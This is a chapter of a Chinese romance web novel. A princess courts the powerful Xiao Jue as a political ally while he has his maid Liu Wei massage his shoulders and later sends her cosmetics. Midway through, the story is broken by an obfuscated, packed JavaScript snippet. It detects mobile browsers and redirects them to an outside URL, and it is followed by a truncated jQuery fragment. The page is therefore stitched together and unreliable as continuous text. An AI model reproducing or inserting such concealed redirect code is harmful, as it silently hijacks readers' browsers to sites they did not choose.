从明心斋出来,秋云扶着敬和,徐徐往萧绝处而来。
方才敬和与萧老夫人的对话犹在耳畔,秋云忍不住道:“那萧老夫人说起话来模棱两可的,奴婢竟琢磨不透萧老夫人是个什么态度。”
之所以时隔四年敬和与萧绝又来往起来,是因为敬和看明白了,她龙椅上那小侄子,仅仅是萧绝的傀儡;萧绝非池中之物,早晚有一日取而代之。
别看现在她是万人敬仰的公主,他日,不定如何。所以她要在局势天翻地覆前寻一个靠山,而和她有青梅竹马之谊的萧绝,便是不二之选。
一定会有人会谴责她身为公主却同“叛臣”沆瀣一气,但她无所谓,她是个肤浅且自私的人,只在乎自己的身家性命能否保得住。
再说了,谁让当初老皇帝言而无信,说好了立她做皇太女,偏偏后来变了卦,一意孤行把太子之位传给了一个行宫婢子所生的下贱胚子。既然如此,她又何必爱惜那贱种的后代?不如早为自己做打算。
有了打算,敬和又是个急性子,便趁这趟去拿萧绝纳妾一事试了试萧老夫人,那萧老夫人却言,儿孙自有儿孙福,她老了,没有过多精力关注了。
敬和冷笑道:“儿孙自有儿孙福?我倒要去问问萧绝,究竟是不是福。”
秋云第一个膈应柳薇,噘着嘴说:“公主为万金之躯,要找什么样的人没有,何苦执着于那一个人?以前也就算了,萧大人身边干干净净,现如今……您容忍得下吗?”
敬和举手扶一扶头上的金步摇,傲然道:“我以前是喜欢他,现在不一样了,选择他,不过是他最合适。至于那婢子,身份摆在那里,一个用来消遣的玩意儿,还入不得我的眼。”
敬和垂下手臂,一边向前走,一边闲闲道:“玩意儿嘛,新鲜的时候戏弄戏弄,时间一长,自然就腻了。随他去好了。”
这边敬和故意走得散漫,让萧绝多等会,这一用心,刚好碰上了柳薇。
幸亏柳薇提前看见了,及时站定请安,没重蹈覆辙,冒昧着敬和。
她规规矩矩的,敬和没法挑剔,甩下个冷眼径直踏入正屋。
柳薇也不情愿面对敬和,略微停了会,安了安心神,才低眉敛目地进去上茶。
只见敬和自然而然坐去萧绝对面,眼睛直对着萧绝。柳薇刚把茶送出,敬和便冷声道:“今天没胃口吃茶,撤下去。”
柳薇顺应形势,准备撤回胳膊,萧绝又放话了:“公主有没有胃口品尝,那是公主的自由,而上不上茶水,则是寒舍的礼数。”
柳薇不得已,又把茶往出端。
敬和却眨眨眼,悄然生笑:“左一个寒舍又一个礼数的,莫非你真与我生疏了不成?承影哥哥。”
承影,萧绝的字。两人闹掰前,敬和总是甜腻腻地喊他承影哥哥,虽然他十次里有九次不答应就是了。
“我一直拿公主当妹妹看待,谈何生疏?”萧绝神情自若,眼神轻轻一点处境尴尬的柳薇,“举着不累么?放下吧。”
柳薇确实手腕酸困,依从他的,把茶放在敬和左手边,悄摸退后。
“谁许你走了?”萧绝出声,柳薇立时僵住,举目看向他,眼里饱含迷茫和无助。萧绝翻手握住后脖子,微微仰头左右活动两下脖子:“过来,替我捏捏肩。”
柳薇有些错愕,片刻没动作。
见状,萧绝嘴角勾起一丝弧度:“愣着做什么?过来。”
“是……”柳薇绕开敬和,举步去他身畔。目之所及,是青丝三千——他在家休养这几天,头发不似寻常整整齐齐地束起来,却是时而披散时而半束,现下则以一支白玉簪子半挽半散,透着一种违和的随性。
即便是那个粉身碎骨的夜晚,柳薇也没敢伸手触碰他。
柳薇无从下手。
百般纠结之际,一个大手从眼皮子底下伸上来,扼住了她的腕骨,将她无处可去的手,带至一片玄色衣料上。
“开始吧。”大手抽离,旋即有一双沉静的眼为她偏斜,“用点力气,别搞得像没吃饭似的。”
心在狂跳,是紧张使然。
“哦……”柳薇蜷起手指,一顿一顿地按在那副宽肩上,并询问他的感受:“这力道,您看可以吗?”
萧绝道:“差点。”
柳薇指尖更用力:“这下呢?”
萧绝仍然不满意:“你尽管使力,无须克制。”
柳薇咬牙,用力用到手指头都在颤抖。
“嗯,可以了。”这位祖宗终于满足了。
那两个人,你一言我一语,一个捏肩一个享受,何其亲密。敬和旁观一场,尽量忍住恼火,一手抓起茶盏,啜了口茶水,又重重地撂下,阴阳怪气道:“我费力来看望你,你却于我不理不睬,一味叫人捶背捏肩,好生闲适。莫非这就是你萧家的待客之道?”
柳薇吓得一激灵,手下凝滞。萧绝不以为意道:“继续。”
敬和强压着不爽,从齿缝挤出今日来意:“你让她退下,我有话和你单独谈。”
萧绝道:“公主要谈什么,请谈吧。至于她,公主当成个会出气的石头就算,不必避讳。”
敬和忍无可忍,朝柳薇飞了一记眼刀子:“她有哪点够看的,值得让你这么护着她?”
敬和矛头直指柳薇,柳薇生生惊出一身冷汗;而倾尽全力捏了挺久的肩膀,手指又酸又麻,似乎不是自己的了。双重压迫下,她停止手上动作。不及怎么样,萧绝又说:“不要停,继续。”
柳薇欲哭无泪,操着麻木的双手,接着按。
“如公主所见,”萧绝坦率道,“实诚又温顺,并不惹人生厌。”
敬和道:“所以,我既不实诚也不温顺,惹你生厌了?”
萧绝道:“她是我的人,合该诚实温顺。公主又不是,何必耿耿于怀?”
敬和铁青着脸,起身,直视他:“你明知道我是什么意思,装什么傻呢?”
萧绝不动如山:“公主说我装傻,公主又何尝不是呢?”
敬和恼羞成怒,瞪一眼柳薇,拂袖离去。
二人说话如同打哑谜,柳薇听不懂,但两人吵得不欢而散,是很直观的。
萧绝脾气臭,柳薇生恐迁怒自己,手底下减了力气,又不动声色地窥视他,他侧脸对着她,和一开始没什么两样。
看来他没动气?
柳薇才松了口气,就闻听他说:“不是让你用着劲儿么?还总是软绵绵的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125175|196032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明明已经卯足力气了,他仍旧挑三拣四的,而且已按压了小一炷香,两只手十根手指全僵了……柳薇觉得相当冤枉。
“奴婢没力气了,不是有意让您不满意的。”柳薇也存着些委屈,突然不想找理由遮遮掩掩,索性实话实说了。
萧绝略略前倾,以手肘撑桌,再斜过头来,眼底浮起浅薄的笑:“你是在跟我顶嘴吗?”
“您误会了,奴婢不敢。”柳薇闷头后退,一直退到他对面,开始清理桌面。
萧绝的目光,难得为她停驻,更难得追随于她。这个小丫鬟,似乎也有点小脾气。
柳薇收了茶杯茶盘,福身告退时,萧绝不紧不慢开口:“你今天去布行,选了些什么料子?”
柳薇不知他何意,也不去猜测,反正猜来猜去猜不透,徒伤脑筋,只管回答:“奴婢也没接触过那些,所以只选了颜色,其余的就全凭高嬷嬷决定了。”接着坦白选中哪几个颜色。
萧绝却话锋一转:“你今年多大了?”
柳薇道:“奴婢十七了。”
“不过十七,每天灰头土脸的,真是有碍观瞻。”萧绝随意摆手,示意她出去,“你去把东良叫过来。”
柳薇照做。
入夜,柳薇洗干净脸,顾镜自照,越照,眉头锁得越紧。
春雨倒完洗脸水回来,见她还在照镜子,满怀不解地问:“姑娘一直看什么呢?”
镜中人,皮肤虽不算得粉白透亮,却也干干净净,不至于灰头土脸、邋里邋遢。
哦,那就是萧绝看她碍眼,存心刻薄她了。
柳薇深以为然,因此释怀,离开铜镜,坐回床上,笑道:“没什么。时辰不早了,睡吧。”
次日,萧绝神清气爽出门去上朝,东良没有陪同,则是亲自去了趟凝香馆,采购一批时兴的胭脂水粉首饰珠宝,大中午才回。
指挥人往二姑娘三姑娘处各抬了两箱子,余下一箱子,东良请来柳薇,含笑解释:“这一箱子就是姑娘的了。姑娘今后不必干粗活重活,派得上用场的。”
柳薇丈二和尚摸不着头脑。
东良笑道:“姑娘多多打扮,国公爷看了,心情也会好的。”
柳薇不开窍,疑惑道:“可国公爷不是不喜欢花里胡哨的吗?”
东良无奈道:“姑娘怎么还不明白?姑娘现在代表的是国公爷的体面,自是要形容得体、装束精致。”
柳薇懂了,这和上午许她出去挑布料的目的一样,是嫌她寒酸,影响他颜面了。
可从另一个方面来分析,他出手好阔绰,眼前这一大箱子东西,少说值上百两了吧?若是拿出去典当了,缺钱的困境岂不是迎刃而解?
然而关键是,她也没机会出去;此外,东良买回它们来,肯定清点登记过了,有数的,草率变卖不得。
唉……不可鬼迷心窍、急功近利,终归是脚踏实地保险。
柳薇闭一闭眼,打消邪念。
她将心事藏得好,东良无所察觉,自顾自道:“现在也无事可忙,姑娘就回屋去研究研究这些东西该怎么使用、怎么搭配好了。”
人在屋檐下,不得不低头。柳薇点头称:“哦,我知道了。”